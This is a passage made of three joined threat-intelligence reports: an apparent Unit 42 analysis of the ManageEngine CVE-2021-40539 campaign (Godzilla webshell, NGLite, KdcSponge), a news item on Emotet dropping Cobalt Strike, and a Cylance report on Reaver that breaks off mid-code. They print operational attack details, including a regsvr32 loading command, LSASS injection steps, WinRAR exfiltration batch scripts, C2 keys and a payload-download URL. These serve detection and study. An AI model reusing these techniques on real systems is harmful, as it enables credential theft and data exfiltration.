KdcSponge) are classified as malware in WildFire. - Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central, or ManageEngine ServiceDeskPlus Servers across customer networks. ## Initial Access Beginning on Sept. 17 and continuing through early October, we observed scanning against ManageEngine ADSelfService Plus servers. Through global telemetry, we believe that the actor targeted at least 370 Zoho ManageEngine servers in the United States alone. Given the scale, we assess that these scans were largely indiscriminate in nature as targets ranged from education to Department of Defense entities. Upon obtaining scan results, the threat actor transitioned to exploitation attempts on Sept. 22. These attempts focused on CVE-2021-40539, which allows for REST API authentication bypass with resultant remote code execution in vulnerable devices. To achieve this result, the actors delivered uniquely crafted POST statements to the REST API LicenseMgr. While we lack insight into the totality of organizations that were exploited during this campaign, we believe that, globally, at least nine entities across the technology, defense, healthcare, energy, and education industries were compromised. Following successful exploitation, the actor uploaded a payload which deployed a Godzilla webshell, thereby enabling additional access to a victim network. The following leased IP addresses in the United States were observed interacting with compromised servers: - 24.64.36[.]238 - 45.63.62[.]109 - 45.76.173[.]103 - 45.77.121[.]232 - 66.42.98[.]156 - 140.82.17[.]161 - 149.28.93[.]184 - 149.248.11[.]205 - 199.188.59[.]192 Following the deployment of the webshell, which appears consistent across all victims, we also identified the use of additional tools deployed in a subset of compromised networks. Specifically, the actors deployed a custom variant of an open-source backdoor called NGLite and a credential-harvesting tool we track as KdcSponge. The following sections provide detailed analysis of these tools. ## Malware At the time of exploitation, two different executables were saved to the compromised server: ME_ADManager.exe and ME_ADAudit.exe. The ME_ADManager.exe file acts as a dropper Trojan that not only saves a Godzilla webshell to the system but also installs and runs the other executable saved to the system, specifically ME_ADAudit.exe. The ME_ADAudit.exe executable is based on NGLite, which the threat actors use as their payload to run commands on the system. ### ME_ADManager.exe Dropper After initial exploitation, the dropper is saved to the following path: `c:\Users\[username]\AppData\Roaming\ADManager\ME_ADManager.exe` Analysis of this file revealed that the author of this payload did not remove debug symbols when building the sample. Thus, the following debug path exists within the sample and suggests the username pwn was used to create this payload: `c:\Users\pwn\documents\visual studio 2015\Projects\payloaddll\Release\cmd.pdb` Upon execution, the sample starts off by creating the following generic mutex found in many code examples freely available on the internet, which is meant to avoid running more than one instance of the dropper: `cplusplus_me` The dropper then attempts to write a hardcoded Godzilla webshell to the following locations: - `../webapps/adssp/help/admin-guide/reports.jsp` - `c:/ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide/reports.jsp` - `../webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp` - `c:/ManageEngine/ADSelfService Plus/webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp` The dropper then creates the folder `%APPDATA%\ADManager` and copies itself to `%APPDATA%\ADManager\ME_ADManager.exe` before creating the following registry keys to persistently run after reboot: - `Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe : %APPDATA%\ADManager\ME_ADManager.exe` - `Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe : %SYSTEM32%\ME_ADAudit.exe` The dropper then copies ADAudit.exe from the current directory to the following path and runs the file with WinExec: `%SYSTEM32%\ME_ADAudit.exe` The dropper does not write the ME_ADAudit.exe file to disk, meaning the threat actor must upload this file to the server prior to the execution of the dropper, likely as part of the initial exploitation of the CVE-2021-40539 vulnerability. During our analysis of multiple incidents, we found that the ME_ADAudit.exe sample maintained a consistent SHA256 hash of `805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f`, therefore suggesting that the actor deployed the same customized version of the NGLite backdoor against multiple targets. As mentioned previously, the initial dropper contains a Java Server Page (JSP) webshell hardcoded within it. Upon analysis of the webshell, it was determined to be the Chinese-language Godzilla webshell V3.00+. The Godzilla webshell was developed by user BeichenDream, who stated they created this webshell because the ones available at the time would frequently be detected by security products during red team engagements. As such, the author advertises it will avoid detection by leveraging AES encryption for its network traffic and that it maintains a very low static detection rate across security vendor products. The JSP webshell itself is fairly straightforward in terms of functionality and maintains a lightweight footprint. Its primary function is to parse an HTTP POST, decrypt the content with the secret key, and then execute the payload. This allows attackers to keep code likely to be flagged as malicious off the target system until they are ready to dynamically execute it. To figure out how these are presented in the webshell itself, we can take a look at the Godzilla JAR file. Below, you can see the code substitutes the strings in one of the embedded webshell templates under the `/shells/cryptions/JavaAES/GenerateShellLoder` function. Thus we know the `xc` variable in the webshell will be the AES secret key, as indicated in the template. ```java String xc="{secretKey}"; String pass="{pass}"; String md5=md5(pass+xc); ``` We observed that the `xc` value appears to be a hash, and under the `/core/shell/ShellEntity.class` file, we can see the code takes the first 16 characters of the MD5 hash for a plaintext secret key. ```java public String getSecretKeyX() { return functions.md5(getSecretKey()).substring(0, 16); } ``` With that, we know then that the `xc` value of `3c6e0b8a9c15224a` is the first 16 characters of the MD5 hash for the word key. Given this, the `xc` and `pass` variables are the two primary fields that can be used for tracking and attempting to map activity across incidents. For the purpose of this blog, we generated a Godzilla webshell with the default options for analysis; however, the only differences between the default one and the ones observed in attacks are different `xc` and `pass` values. One important characteristic of this webshell is that the author touts the lack of static detection and has tried to make this file not stand out through avoiding keywords or common structures that might be recognized by security product signatures. One particularly interesting static evasion technique is the use of a Java ternary conditional operator to indicate decryption. When the webshell executes this function `x`, it does not set the value of `m`, thus forcing `m` to False and setting it to decrypt. To understand the capabilities of Godzilla then, we can take a look in `/shells/payloads/java/JavaShell.class`. This class file contains all of the functions provided to the operator. Below is an example of the `getFile` function. ### Payload functions: - getFile - downloadFile - getBasicsInfo - uploadFile - copyFile - deleteFile - newFile - newDir - currentDir - currentUserName - bigFileUpload - bigFileDownload - getFileSize - execCommand - getOsInfo - moveFile - getPayload - fileRemoteDown - setFileAttr As evidenced by the names of the functions, the Godzilla webshell offers numerous payloads for navigating remote systems, transferring data to and from, remote command execution, and enumeration. These payloads will be encrypted with the secret key previously described, and the operating software will send an HTTP POST to the compromised system containing the data. Additionally, if we examine the `core/ui/component/dialog/ShellSetting.class` file, the `initAddShellValue()` function contains the default configuration settings for remote network access. Therefore, elements such as static HTTP headers and User-Agent strings can be identified in order to aid forensic efforts searching web access logs for potential compromise. To illustrate, below is a snippet of the web server access logs that show the initial exploit using the Curl application and sending the custom URL payload to trigger the CVE-2021-40539 vulnerability. It then shows the subsequent access of the Godzilla webshell, which has been placed into the hardcoded paths by the initial dropper. By reviewing the User-Agent, we can determine that the time from exploit to initial webshell access took just over four minutes for the threat actor. ``` - /./RestAPI/LicenseMgr "-" X.X.X.X Y.Y.Y.Y POST [00:00:00] - - 200 "curl/7.68.0" - /help/admin-guide/reports.jsp "-" X.X.X.X Y.Y.Y.Y POST [+00:04:07] - - 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0" ``` ## Custom NGLite NGLite is an open-source backdoor written in the Go language (specifically Go version 1.13). It is available for download from a public GitHub repository. NGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors. The NKN touts that their decentralized network uses a public blockchain and can support communication between millions of peers, each of which are identified by a unique NKN address instead of the typical network identifiers, such as IP addresses. Therefore, the immediate IP address that the NGLite tool communicates with in its C2 channel is just a peer in the decentralized network and is unlikely to represent the threat actor’s network location. This design makes detection and prevention of the NGLite C2 communication channel difficult. Fortunately, the use of NKN as a C2 channel is very uncommon. We have seen only 13 samples communicating with NKN altogether – nine NGLite samples and four related to an open-source utility called Surge that uses NKN for file sharing. Eight of the nine known NGLite samples were scanned by VirusTotal. Four were undetected, three were detected by one antivirus, and the remaining sample was detected by five. This low detection rate suggests that NGLite had very little antivirus coverage during this attack campaign. As mentioned in the previous section, the dropper creates registry keys and executes a custom variant of the NGLite backdoor (SHA256: `805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f`) saved at the following path: `C:\Windows\system32\ME_ADAudit.exe` The data structures within the Go-based backdoor contain the following path, which is used to store the main source code for this custom variant of NGLite on the developers’ system: `/mnt/hgfs/CrossC2-2.2/src/ng.com/lprey/main.go` Based on this path, one might surmise that the actor used CrossC2 to build a cross-platform Cobalt Strike C2 payload; however, we have no reason to believe that this payload is actually based on CrossC2, as the payload is a customized version of the publicly available NGLite backdoor. It is possible that the threat actors included the CrossC2 string in the path as a misdirection, hoping to confuse threat analysts into thinking they are delivering a Cobalt Strike payload. We have seen the following NGLite samples using this same source code path dating back to Aug. 11, which suggests that this threat actor has been using this tool for several months: - `3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd` - `5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755` - `3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d` The custom NGLite sample used in this campaign checks the command line arguments for `g` or `group` value. If this switch is not present, the payload will use the default string `7aa7ad1bfa9da581a7a04489896279517eef9357b81e406e3aee1a66101fe824` in what NGLite refers to as its seed identifier. The payload will create what it refers to as a prey id, which is generated by concatenating the MAC address of the system network interface card (NIC) and IPv4 address, with a hyphen (-) separating the two. This prey identifier will be used in the C2 communications. The NGLite payload will use the NKN decentralized network for C2 communications. The sample first starts by reaching out to `seed.nkn[.]org` over TCP/30003, specifically with an HTTP POST request that is structured as follows: It also will send HTTP POST requests with `monitor_03` as the prey id. The seed.nkn[.]org server responds to this request with the prey id (MAC-IPv4) within the JSON structured as follows: This suggests the payload will communicate with the peer at `66.115.12.89` over TCP/30003. The seed.nkn[.]org server then responds to the `monitor_03` request with the following, which suggests the payload will communicate with `54.204.73.156` over TCP/30003: After obtaining the response from `seed.nkn[.]org`, the payload will issue an HTTP GET request to the IP address and TCP port provided in the addr field within the JSON. These HTTP requests will appear as follows, but keep in mind that these systems are not actor-controlled; rather, they are just the first peer in a chain of peers that will eventually return the actor’s content. Eventually, the network communications between the custom NGLite client and server are encrypted using AES with the following key: `WHATswrongwithUu`. The custom NGLite sample will start by sending the C2 an initial beacon that contains the result of the `whoami` command with the string `#windows` concatenated. After sending the initial beacon, the NGLite sample will run a sub-function called `Preylistener` that creates a server that listens for inbound requests. The sample will also listen for inbound communications and will attempt to decrypt them using a default AES key of `1234567890987654`. It will run the decrypted contents as a command via the Go method `os/exec.Command`. The results are then encrypted using the same AES key and sent back to the requester. ## Post-exploitation Activity Upon compromising a network, the threat actor moved quickly from their initial foothold to gain access to other systems on the target networks by running commands via their NGLite payload and the Godzilla webshell. After gaining access to the initial server, the actors focused their efforts on gathering and exfiltrating sensitive information from local domain controllers, such as the Active Directory database file (ntds.dit) and the SYSTEM hive from the registry. Shortly after, we observed the threat actors installing the KdcSponge credential stealer, which we will discuss in detail next. Ultimately, the actor was interested in stealing credentials, maintaining access, and gathering sensitive files from victim networks for exfiltration. ## Credential Harvesting and KdcSponge During analysis, Unit 42 found logs that suggest the threat actors used PwDump and the built-in comsvcs.dll to create a mini dump of the lsass.exe process for credential theft; however, when the actor wished to steal credentials from a domain controller, they installed their custom tool that we track as KdcSponge. The purpose of KdcSponge is to hook API functions from within the LSASS process to steal credentials from inbound attempts to authenticate via the Kerberos service (“KDC Service”). KdcSponge will capture the domain name, username, and password to a file on the system that the threat actor would then exfiltrate manually through existing access to the server. We know of two KdcSponge samples, both of which were named user64.dll. They had the following SHA256 hashes: - `3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090` - `b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665` To launch the KdcSponge credential stealer, the threat actor will run the following command to load and execute the malicious module: `regsvr32 /s user64.dll` Upon first execution, the regsvr32 application runs the `DllRegisterServer` function exported by user64.dll. The `DllRegisterServer` function resolves the `SetSfcFileException` function within sfc_os.dll and attempts to disable Windows File Protection (WFP) on the `c:\windows\system32\kdcsvc.dll` file. It then attempts to inject itself into the running lsass.exe process by: 1. Opening the lsass.exe process using OpenProcess. 2. Allocating memory in the remote process using VirtualAllocEx. 3. Writing the string user64.dll to the allocated memory using WriteProcessMemory. 4. Calling LoadLibraryA within the lsass.exe process with user64.dll as the argument, using RtlCreateUserThread. Now that user64.dll is running within the lsass.exe process, it will start by creating the following registry key to establish persistence through system reboots: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service : regsvr32 /s user64.dll` From there, the sample will check to make sure the system is running a Kerberos service by attempting to obtain a handle to one of the following modules: - kdcsvc.dll - kdccli.dll - Kdcsvs.dll KdcSponge tries to locate three undocumented API functions – specifically KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3, and KerbFreeKey – using the following three methods: 1. Identifies the version of the Kerberos module and uses hardcoded offsets to API functions to hook. 2. Reaches out to Microsoft’s symbol server to find the offset to API functions within the Kerberos module and confirms the correct functions by comparing to hardcoded byte sequences. 3. Searches the Kerberos module for hardcoded byte sequences. The primary method in which KdcSponge locates the API functions to hook is based on determining the version of the Kerberos module based on the TimeDateStamp value within the IMAGE_FILE_HEADER section of the portable executable (PE) file. Once the version of the Kerberos module is determined, KdcSponge has hardcoded offsets that it will use to hook the appropriate functions within that version of the module. KdcSponge looks for the following TimeDateStamp values: - 2012-07-26 00:01:13 If KdcSponge was unable to determine the version of the Kerberos module and the domain controller is running Windows Server 2016 or Server 2019 (major version 10), the payload will reach out to Microsoft's symbol server (msdl.microsoft.com) in an attempt to find the location of several undocumented API functions. The sample will issue an HTTPS GET request to a URL structured as follows, with the GUID portion of the URL being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section of the PE: `/download/symbols/[library name].pdb/[GUID]/[library name].pdb` The sample will save the results to a file in the following location, again with the GUID for the filename being the GUID value from the RSDS structure in the IMAGE_DEBUG_TYPE_CODEVIEW section: `ALLUSERPROFILE\Microsoft\Windows\Caches\[GUID].db` As mentioned above, we believe the reason the code reaches out to the symbol server is to find the locations of three undocumented Kerberos-related functions: KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3, and KerbFreeKey. The sample is primarily looking for these functions in the following libraries: - kdcsvc.KdcVerifyEncryptedTimeStamp - kdcsvc.KerbHashPasswordEx3 - kdcpw.KerbHashPasswordEx3 - kdcsvc.KerbFreeKey - kdcpw.KerbFreeKey If these functions are found, the sample searches for specific byte sequences to confirm the functions are correct and to validate they have not been modified. If the domain controller is running Windows Server 2008 or Server 2012 (major version 6), KdcSponge does not reach out to the symbol server and instead will search the entire kdcsvc.dll module for the byte sequences to find the API functions. Once the KdcVerifyEncryptedTimeStamp, KerbHashPasswordEx3, and KerbFreeKey functions are found, the sample will attempt to hook these functions to monitor all calls to them with the intention to steal credentials. When a request to authenticate to the domain controller comes in, these functions in the Kerberos service (KDC service) are called, and the sample will capture the inbound credentials. The credentials are then written to disk at the following location: `%ALLUSERPROFILE%\Microsoft\Windows\Caches\system.dat` The stolen credentials are encrypted with a single-byte XOR algorithm using 0x55 as the key and written to the system.dat file one per line in the following structure: `[<timestamp>]<domain><username> <cleartext password>` ## Attribution While attribution is still ongoing and we have been unable to validate the actor behind the campaign, we did observe some correlations between the tactics and tooling used in the cases we analyzed and Threat Group 3390 (TG-3390, Emissary Panda, APT27). Specifically, as documented by SecureWorks in an article on a previous TG-3390 operation, we can see that TG-3390 similarly used web exploitation and another popular Chinese webshell called ChinaChopper for their initial footholds before leveraging legitimate stolen credentials for lateral movement and attacks on a domain controller. While the webshells and exploits differ, once the actors achieved access into the environment, we noted an overlap in some of their exfiltration tooling. SecureWorks stated the actors were using WinRar masquerading as a different application to split data into RAR archives within the Recycler directory. They provided the following snippet from a Batch file deployed to do this work: ``` @echo off c:\windows\temp\svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014 “e:\recycler\REDACTED.rar” “e:\ProgramData\REDACTED\” Exit ``` From our analysis of recent attacks on ManageEngine ADSelfService Plus, we observed the same technique – with the same order and placement of the parameters passed to a renamed WinRar application. ``` @echo off dir %~dp0>>%~dp0\log.txt %~dp0\vmtools.exe a -k -r -s -m5 -v4096000 -pREDACTED "e:\$RECYCLE.BIN\REDACTED.rar" "E:\Programs\REDACTED\REDACTED" ``` Once the files had been staged, in both cases they were then made accessible on externally facing web servers. The threat actors would then download them through direct HTTP GET requests. ## Conclusion In September 2021, Unit 42 observed an attack campaign in which the actors gained initial access to targeted organizations by exploiting a recently patched vulnerability in Zoho’s ManageEngine product, ADSelfService Plus, tracked in CVE-2021-40539. At least nine entities across the technology, defense, healthcare, energy, and education industries were compromised in this attack campaign. After exploitation, the threat actor quickly moved laterally through the network and deployed several tools to run commands in order to carry out their post-exploitation activities. The actor heavily relies on the Godzilla webshell, uploading several variations of the open-source webshell to the compromised server over the course of the operation. Several other tools have novel characteristics or have not been publicly discussed as being used in previous attacks, specifically the NGLite backdoor and the KdcSponge stealer. For instance, the NGLite backdoor uses a novel C2 channel involving the decentralized network known as the NKN, while the KdcSponge stealer hooks undocumented functions to harvest credentials from inbound Kerberos authentication attempts to the domain controller. Unit 42 believes that the actor’s primary goal involved gaining persistent access to the network and the gathering and exfiltration of sensitive documents from the compromised organization. The threat actor gathered sensitive files to a staging directory and created password-protected multi-volume RAR archives in the Recycler folder. The actor exfiltrated the files by directly downloading the individual RAR archives from externally facing web servers. ## Indicators of Compromise **Dropper SHA256** - `b2a29d99a1657140f4e254221d8666a736160ce960d06557778318e0d1b7423b` - `5fcc9f3b514b853e8e9077ed4940538aba7b3044edbba28ca92ed37199292058` **NGLite SHA256** - `805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f` - `3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd` - `5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755` - `3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d` **Godzilla Webshell SHA256** - `a44a5e8e65266611d5845d88b43c9e4a9d84fe074fd18f48b50fb837fa6e429d` - `ce310ab611895db1767877bd1f635ee3c4350d6e17ea28f8d100313f62b87382` - `75574959bbdad4b4ac7b16906cd8f1fd855d2a7df8e63905ab18540e2d6f1600` - `5475aec3b9837b514367c89d8362a9d524bfa02e75b85b401025588839a40bcb` **KdcSponge SHA256** - `3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090` - `b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665` **Threat Actor IP Addresses** - `149.248.11[.]205` - `199.188.59[.]192` **Registry Keys** - `Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe` - `Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe` - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service`
# Emotet Now Drops Cobalt Strike, Fast Forwards Ransomware Attacks In a concerning development, the notorious Emotet malware now installs Cobalt Strike beacons directly, giving immediate network access to threat actors and making ransomware attacks imminent. Emotet is a malware infection that spreads through spam emails containing malicious Word or Excel documents. These documents utilize macros to download and install the Emotet Trojan on a victim's computer, which is then used to steal email and deploy further malware on the device. Historically, Emotet would install the TrickBot or Qbot trojans on infected devices. These Trojans would eventually deploy Cobalt Strike on an infected device or perform other malicious behavior. Cobalt Strike is a legitimate penetration testing toolkit that allows attackers to deploy "beacons" on compromised devices to perform remote network surveillance or execute further commands. However, Cobalt Strike is very popular among threat actors who use cracked versions as part of their network breaches and is commonly used in ransomware attacks. ## Emotet Changes Its Tactics Today, Emotet research group Cryptolaemus warned that Emotet is now skipping their primary malware payload of TrickBot or Qbot and directly installing Cobalt Strike beacons on infected devices. > **WARNING**: We have confirmed that #Emotet is dropping CS Beacons on E5 Bots and we have observed the following as of 10:00EST/15:00UTC. The following beacon was dropped: Note the traffic to lartmana[.]com. This is an active CS Teams Server. 1/x — Cryptolaemus (@Cryptolaemus1) December 7, 2021 A Flash Alert shared with BleepingComputer by email security firm Cofense explained that a limited number of Emotet infections installed Cobalt Strike, attempted to contact a remote domain, and then was uninstalled. "Today, some infected computers received a command to install Cobalt Strike, a popular post-exploitation tool," warns the Cofense Flash Alert. "Emotet itself gathers a limited amount of information about an infected machine, but Cobalt Strike can be used to evaluate a broader network or domain, potentially looking for suitable victims for further infection such as ransomware." "While the Cobalt Strike sample was running, it attempted to contact the domain lartmana[.]com. Shortly afterward, Emotet uninstalled the Cobalt Strike executable." This is a significant change in tactics as after Emotet installed its primary payload of TrickBot or Qbot, victims typically had some time to detect the infection before Cobalt Strike was deployed. Now that these initial malware payloads are skipped, threat actors will have immediate access to a network to spread laterally, steal data, and quickly deploy ransomware. "This is a big deal. Typically Emotet dropped TrickBot or QakBot, which in turn dropped Cobalt Strike. You'd usually have about a month between first infection and ransomware. With Emotet dropping CS directly, there's likely to be a much much shorter delay," security researcher Marcus Hutchins tweeted about the development. This rapid deployment of Cobalt Strike will likely speed up ransomware deployment on compromised networks. This is especially true for the Conti ransomware gang who convinced the Emotet operators to relaunch after they were shut down by law enforcement in January. Cofense says that it is unclear if this is a test, being used by Emotet for their own network surveillance, or is part of an attack chain for other malware families that partner with the botnet. "We don’t know yet whether the Emotet operators intend to gather data for their own use, or if this is part of an attack chain belonging to one of the other malware families. Considering the quick removal, it might have been a test, or even unintentional." - Cofense. Researchers will closely monitor this new development, and as further information becomes available, we will update this article.
# Reaver: Mapping Connections Between Disparate Chinese APT Groups **The Cylance Research and Intelligence Team** When the New York Times published a story in December based on a combination of hacked diplomatic cables belonging to the European Union, as well as sensitive information belonging to the United Nations, we, the BlackBerry Cylance Threat Intelligence team, took notice. It was hard not to given that it ran on the front page (Sanger, 2018). But the story caught our attention for other reasons too. It was based in large measure on a report titled *Phishing Diplomacy*, published by Area 1 on the same day. The researchers attributed the compromise of the diplomatic cables and the targeting of over 100 additional organizations (including foreign and finance ministries, think-tanks and trade unions) to the Chinese government’s Strategic Support Force (SSF), a Chinese military organization, without any explanation as to how they arrived at that attribution assessment. Even more intriguing was the fact that, according to the Times report, Area 1 researchers provided the compromised cables to the newspaper. The Times quoted extensively from the cables – a move that raised eyebrows and prompted interesting legal and ethical questions for both Area 1 and the Times. But legal and ethical questions aside, there was yet another reason why we took notice of this report. Included in the Area 1 “indicators of compromise” (IoCs) was a single website/domain name they said the Chinese SSF used for Command-and-Control (C2) in both targeted attacks. As we will demonstrate in greater detail below, we connected this domain to a host of other, disparate Chinese APT groups whose tasking, targeting, and toolsets have been literally all over the map. We also found evidence suggesting that different Chinese APT groups have also been using the same malware - and in some cases, the same exploit builder. ## Analysis The attribution of forensic artifacts to specific threat actors, at whatever level, is an evolving, dynamic process - not a static one. Yet, much of the public research that originally defined the “known APT groups” appears to be frozen in time. When private security companies began declaring APT groups and minting an alphabet soup of threat actors bearing nicknames with numbers, animals, elements, demons and gods, they sketched profiles of nation states and their proxies by invoking the intelligence-version of a signature. Pictures emerged that reflected a particular group’s choice of tactics, techniques and attack procedures – the so-called TTPs that shape the way we tend to think about Iranian, Chinese, Russian and North Korean threats. This alphabet soup of nicknames engendered consequences not just for risk management at the enterprise level, but for national security policy as well. Many of these profiles were sketched nearly a decade ago; however, attribution is as much a function of a given window of technical evidence as it is a function of a given window of time. In the case of the forensic artifacts Area 1 associated with China’s SSF, evidence of shared or overlapping tools by Chinese groups once thought to operate separately or to employ separate targeting suggests one of several potential developments: 1. It could indicate that Chinese government groups are expanding their reach beyond traditional boundaries or have been given different tasking/targeting. 2. It could indicate the Chinese government cyber effort has matured enough such that different groups – even at different agencies – are now comfortable sharing tools and infrastructure. 3. It could indicate that the Chinese have developed some method of centralizing the activity of disparate government units for the purposes of coordinating technical access outside of China. Knowing which assessment is correct is probably of more interest to governments than it is to targeted organizations. Of course, every attack by a suspected state actor holds significance for both groups. There are always tactical considerations for the target, and there are often national security considerations for governments, policy makers, and those of us trying to understand the behavior of nation states in cyberspace. Still, evidence of a shifting profile of Chinese APT groups offers a lesson for network defenders, as it impacts the threat modeling and risk assessment of organizations who have positioned themselves based on: 1. A dated understanding of these groups and their preferred targets, or 2. An explicit reliance on “indicators of compromise,” or 3. Both. What follows is discussion of our findings, detailing the crossover in malware and C2 infrastructure. Some, though not all, of these findings were arrived at independently by Anomali Labs, who published them last month. Anomali did not, for example, make the connection to the Area 1 research. And while our findings regarding some of the malware and infrastructure crossover support those of Anomali, we do not share their conclusion that the crossover portends supply chains or “quartermasters” shared between strategic rivals China and India. ## Discussion The Area 1 Phishing Diplomacy report that enabled the Times story attributed the attacks on the European Union and other related targets to China’s Strategic Support Force. The SSF was modeled on America’s Cyber Command (CYBERCOM), a blended unit that was initially part of Strategic Command (STRATCOM) before being stood up as its own combatant command. The SSF was created in 2015 following a reorganization of several disparate Chinese military units responsible for space operations, electronic warfare, information operations, psychological operations, espionage, technical reconnaissance, and network warfare. Included in the reorganization was the Third Department of the People’s Liberation Army (PLA), members of which were famously called out by the U.S. Justice Department as the threat actors behind the “APT 1” persona. But while China’s Third Department has been traditionally focused on external operations, typically in support of military objectives, we found a connection via the infrastructure included in the Area 1 report to groups associated in other security research with Chinese government efforts to spy on and conduct operations against internal groups perceived as separatist or threatening to the government – a task normally left either to the (relatively new) National Security Commission by way of the operations of the state police or, by extension, the Ministry of State Security. The Ministry of State Security is a Chinese civilian federal agency thought to be comprised of a combination of foreign intelligence and domestic intelligence services – sort of a combination of the CIA and FBI, if thought of in American terms. The MSS has recently been the target of the U.S. Justice Department, which named the group (and publicly associated it with APT10 / a.k.a. “menuPass”) in a couple of recent indictments. The MSS was also named by the U.S.-China Economic and Security Review Commission as the actor “widely believed” to be “either responsible for, or the ultimate benefactor of, the OPM breach.” Chief among China’s domestic security concerns, and presumably targets of the MSS, have been groups known informally as the Five Poisons. The name is a reference to five groups whose ideological, religious, or cultural differences have either directly challenged the ruling party structure or have put them at odds with the government’s singular “One China” concept of its national identity. Traditionally, the Five Poisons has referred to: - Members of the Muslim minority of ethnic Uyghurs - Followers of Falun Gong - Supporters of Taiwanese independence - Tibetans - Activists in support of democracy in China Operations targeting these groups have often employed the use of a malware family identified by Palo Alto Networks as “Reaver.” Palo Alto also associated Reaver with related malware known by the names SUTR and SunOrcal in campaigns targeting the Taiwanese presidential election, as researched by PWC, and the Five Poisons more broadly as reported by Citizen Lab. We found even newer variants and other as-yet unnamed samples as we started to dive in further. Whether Reaver, and its predecessors, are tools wielded by Chinese groups focused internally on separatist movements, or by a division of the Chinese Army re-tasked to serve the same mission, is unknown. However, it is clear that the group behind Reaver used some of the same infrastructure as the group behind the Area 1 attacks on the European Union and United Nations (ostensibly, the military SSF). In its Phishing Diplomacy report, Area 1 published a single C2 domain, updates.organiccrap[.]com, which previously resolved to the IP address 50.117.96[.]147 between November 16, 2017 and July 27, 2018, a period of roughly eight months. Exactly one day before that “organiccrap” domain began resolving to that IP address, another domain was resolving to it, for a narrow period of two weeks (October 31, 2017 – November 15, 2017). That domain, tashdqdxp[.]com, was included in the Palo Alto research, where they indicated that it was used in conjunction with Reaver. We found that several additional, recent Reaver C2 domains also resolved to this IP address including etwefsfj[.]com, sfafgeht[.]com, and asdasfdsre[.]com. The earliest resolution occurred on May 1, 2018 and the latest on January 10, 2019. As we mentioned above, Palo Alto had previously linked this Reaver domain and other Reaver samples via passive DNS to a number of SunOrcal domains. They include: www.weryhstui[.]com, www.fyoutside[.]com, and www.olinaodi[.]com. Palo Alto also linked the same SunOrcal activity set to a number of previous reports that shed light on apparent Chinese government targeting of Hong Kong activists, among others. The new Reaver variants we found appear to use a hybrid subset of new and old network infrastructure. We break them down in the following technical section, along with a description of a new backdoor we discovered along the way. ## Technical Findings: Malware ### Reaver.v4 The new 2018 Reaver samples continued to operate in a manner similar to what was first described by Palo Alto as “Reaver.v3 TCP Payload.” The only real difference was in the encoding of the relative address string lookup table and configuration data. XOR decoding was abandoned in favor of a custom cipher which used an incrementing right bit shift. Interestingly, this cipher also did a reverse lookup for values which had previously been computed. The decrypted table looked very similar to what was previously identified: ``` RA@10016=ADVAPI32.dll RA@10017=GetUserNameA ... RA@10313=ChangeServiceConfig2A RA@10314=QueryServiceConfig2A ``` The configuration of the malware was also encoded similarly and contained all of the information previously described by Palo Alto -- with one additional string: a network callback domain, network port, beacon interval, a service name, service description, service display name, and now two hardcoded strings “n-0625” and “2017-tq-s”: ``` 00003552 00 00 00 00 50 00 00 00 10 27 00 00 01 00 00 00 ....P....'...... 00003568 00 00 00 00 00 B7 04 00 77 77 77 2E 66 68 6A 73 .....·..www.fhjs 00003584 64 6B 6C 61 2E 63 6F 6D 00 00 00 00 00 00 00 00 dkla.com........ ... 00003920 32 30 31 37 2D 74 71 2D 73 00 00 00 00 00 00 00 2017-tq-s....... ``` The network protocol remained largely unchanged from Palo Alto’s report and will not be covered here, for the sake of brevity. ### Sparkle Payload During the investigation into the newer Reaver network infrastructure, we identified an entirely new type of backdoor deployed in very limited instances. BlackBerry Cylance named this payload “Sparkle” to shy away from the ominous military lexicon commonly “deployed” by the information security industry. An associated dropper was also identified: ``` 295c942389ebdbf8ff9a8b1a81d3f63cb60577fa57ecaa660ce347666973b4f3 ``` The payload attempted to read data from the file %Temp%\wsm56d1.tmp and communicated to the domain www.sfeeleyses[.]com on TCP port 443. ### Reaver.v4 Downloader We identified a unique Reaver downloader during our analysis which was coincidentally the only sample which had a valid PE checksum. This binary would download an encoded payload from hxxxp://www[.]htuditey[.]com/l-0424.bmp and save it to a file named: w90sD32rS3H2jP75.bmp. Once saved, the downloader would decode a regular executable dropper from it using an incrementing XOR routine starting with the value 0xFF at file offset 0x36. This executable content would be written to disk as %Temp%\mstk.exe, and the downloader additionally created an associated Run key with it under the current user’s registry hive to establish persistence. The following python snippet can be easily adapted for other keys as well: ```python def inc_xor(buf,start): out = '' key = int(start, 16) for i in buf: if key < 256: out += chr(ord(i) ^ key) 